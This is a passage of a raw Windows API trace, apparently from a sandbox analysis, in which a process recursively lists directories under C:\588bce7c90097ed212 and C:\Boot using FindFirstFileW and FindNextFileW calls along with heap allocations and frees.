returned 1 [0041.854] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0041.854] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0041.854] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0041.854] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x4280800 [0041.854] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.854] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.854] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.855] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.855] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0041.855] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0041.855] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0041.855] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0041.855] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0041.855] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2070\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x4280640 [0041.855] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.855] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.855] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.855] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.855] FindNextFileW (in: hFindFile=0x4280640, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0041.855] FindClose (in: hFindFile=0x4280640 | out: hFindFile=0x4280640) returned 1 [0041.856] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0041.856] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0041.856] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0041.856] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3076\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x42803c0 [0041.856] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.856] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.856] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.856] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.856] FindNextFileW (in: hFindFile=0x42803c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0041.856] FindClose (in: hFindFile=0x42803c0 | out: hFindFile=0x42803c0) returned 1 [0041.856] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0041.857] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0041.857] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0041.857] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x42805c0 [0041.884] FindNextFileW (in: hFindFile=0x42805c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.884] FindNextFileW (in: hFindFile=0x42805c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.885] FindNextFileW (in: hFindFile=0x42805c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.885] FindNextFileW (in: hFindFile=0x42805c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.885] FindNextFileW (in: hFindFile=0x42805c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0041.885] FindClose (in: hFindFile=0x42805c0 | out: hFindFile=0x42805c0) returned 1 [0041.885] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0041.885] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0041.885] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0041.885] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x4280440 [0041.898] FindNextFileW (in: hFindFile=0x4280440, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.898] FindNextFileW (in: hFindFile=0x4280440, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.898] FindNextFileW (in: hFindFile=0x4280440, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.898] FindNextFileW (in: hFindFile=0x4280440, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0041.898] FindClose (in: hFindFile=0x4280440 | out: hFindFile=0x4280440) returned 1 [0041.898] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0041.898] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0041.899] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0041.899] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0041.899] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0041.899] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x4280800 [0041.901] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.901] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.901] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0041.901] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0041.901] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0041.901] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0041.901] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0041.901] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4291060 [0041.901] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x4280580 [0042.004] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.014] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.015] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.015] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.015] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.015] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.015] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.015] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.015] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.016] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.016] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.016] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.016] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.016] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.016] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.016] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.016] FindNextFileW (in: hFindFile=0x4280580, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0042.030] FindClose (in: hFindFile=0x4280580 | out: hFindFile=0x4280580) returned 1 [0042.031] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4291060 | out: hHeap=0x690000) returned 1 [0042.032] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.032] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.032] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.032] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.032] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.032] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.033] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.110] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.110] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.110] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.111] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.111] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.111] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.111] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.111] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.112] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.112] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.112] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.112] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.112] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.112] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.113] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.113] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.113] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.113] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 0 [0042.114] FindClose (in: hFindFile=0x4280380 | out: hFindFile=0x4280380) returned 1 [0042.154] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x3c50940 | out: hHeap=0x690000) returned 1 [0042.154] FindNextFileW (in: hFindFile=0x6a9918, lpFindFileData=0x32afcf8 | out: lpFindFileData=0x32afcf8) returned 1 [0042.155] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x3c50940 [0042.155] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 0x42802c0 [0042.155] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.156] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.156] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.156] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.156] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.156] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.156] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0042.157] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x4280340 [0042.157] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.157] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.157] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0042.157] FindClose (in: hFindFile=0x4280340 | out: hFindFile=0x4280340) returned 1 [0042.157] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0042.157] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.157] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.158] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.158] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.158] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0042.158] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x4280800 [0042.158] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.158] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.159] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.159] FindNextFileW (in: hFindFile=0x4280800, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0042.159] FindClose (in: hFindFile=0x4280800 | out: hFindFile=0x4280800) returned 1 [0042.159] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0042.159] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.159] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0042.159] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x4280600 [0042.159] FindNextFileW (in: hFindFile=0x4280600, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.159] FindNextFileW (in: hFindFile=0x4280600, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.159] FindNextFileW (in: hFindFile=0x4280600, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.160] FindNextFileW (in: hFindFile=0x4280600, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0042.160] FindClose (in: hFindFile=0x4280600 | out: hFindFile=0x4280600) returned 1 [0042.160] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0042.160] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.160] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0042.160] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x4280600 [0042.160] FindNextFileW (in: hFindFile=0x4280600, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.160] FindNextFileW (in: hFindFile=0x4280600, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.160] FindNextFileW (in: hFindFile=0x4280600, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.160] FindNextFileW (in: hFindFile=0x4280600, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0042.160] FindClose (in: hFindFile=0x4280600 | out: hFindFile=0x4280600) returned 1 [0042.160] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0042.160] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.160] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0042.160] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x42801c0 [0042.161] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.161] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.161] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.161] FindNextFileW (in: hFindFile=0x42801c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0042.161] FindClose (in: hFindFile=0x42801c0 | out: hFindFile=0x42801c0) returned 1 [0042.161] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0042.161] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.161] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0042.161] FindFirstFileW (in: lpFileName="C:\\Boot\\en-GB\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x4280340 [0042.162] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.162] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.162] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0042.162] FindClose (in: hFindFile=0x4280340 | out: hFindFile=0x4280340) returned 1 [0042.162] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0042.162] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.162] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0042.162] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x42804c0 [0042.162] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.162] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.162] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.162] FindNextFileW (in: hFindFile=0x42804c0, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0042.162] FindClose (in: hFindFile=0x42804c0 | out: hFindFile=0x42804c0) returned 1 [0042.163] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0042.163] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0042.163] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x4280340 [0042.163] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.163] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.163] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.163] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0042.163] FindClose (in: hFindFile=0x4280340 | out: hFindFile=0x4280340) returned 1 [0042.163] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0042.163] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.163] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0042.163] FindFirstFileW (in: lpFileName="C:\\Boot\\es-MX\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x4280380 [0042.164] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.164] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.164] FindNextFileW (in: hFindFile=0x4280380, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0042.164] FindClose (in: hFindFile=0x4280380 | out: hFindFile=0x4280380) returned 1 [0042.164] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0042.164] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.164] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0042.164] FindFirstFileW (in: lpFileName="C:\\Boot\\et-EE\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x4280740 [0042.164] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.164] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.165] FindNextFileW (in: hFindFile=0x4280740, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0042.165] FindClose (in: hFindFile=0x4280740 | out: hFindFile=0x4280740) returned 1 [0042.165] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0042.165] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.165] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0042.165] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x4280080 [0042.165] FindNextFileW (in: hFindFile=0x4280080, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.165] FindNextFileW (in: hFindFile=0x4280080, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.165] FindNextFileW (in: hFindFile=0x4280080, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.165] FindNextFileW (in: hFindFile=0x4280080, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0 [0042.166] FindClose (in: hFindFile=0x4280080 | out: hFindFile=0x4280080) returned 1 [0042.166] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0042.166] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.166] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0xfffe) returned 0x4281058 [0042.166] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 0x4280340 [0042.255] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.404] FindNextFileW (in: hFindFile=0x4280340, lpFindFileData=0x32af800 | out: lpFindFileData=0x32af800) returned 1 [0042.405] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x4281058 | out: hHeap=0x690000) returned 1 [0042.405] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.406] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0042.406] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.406] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0042.406] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.406] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0042.406] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.406] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0042.406] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.406] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x42a3ed0 | out: hHeap=0x690000) returned 1 [0042.406] FindNextFileW (in: hFindFile=0x42802c0, lpFindFileData=0x32afa7c | out: lpFindFileData=0x32afa7c) returned 1 [0042.406] HeapFree (in: hHeap=0x690000, 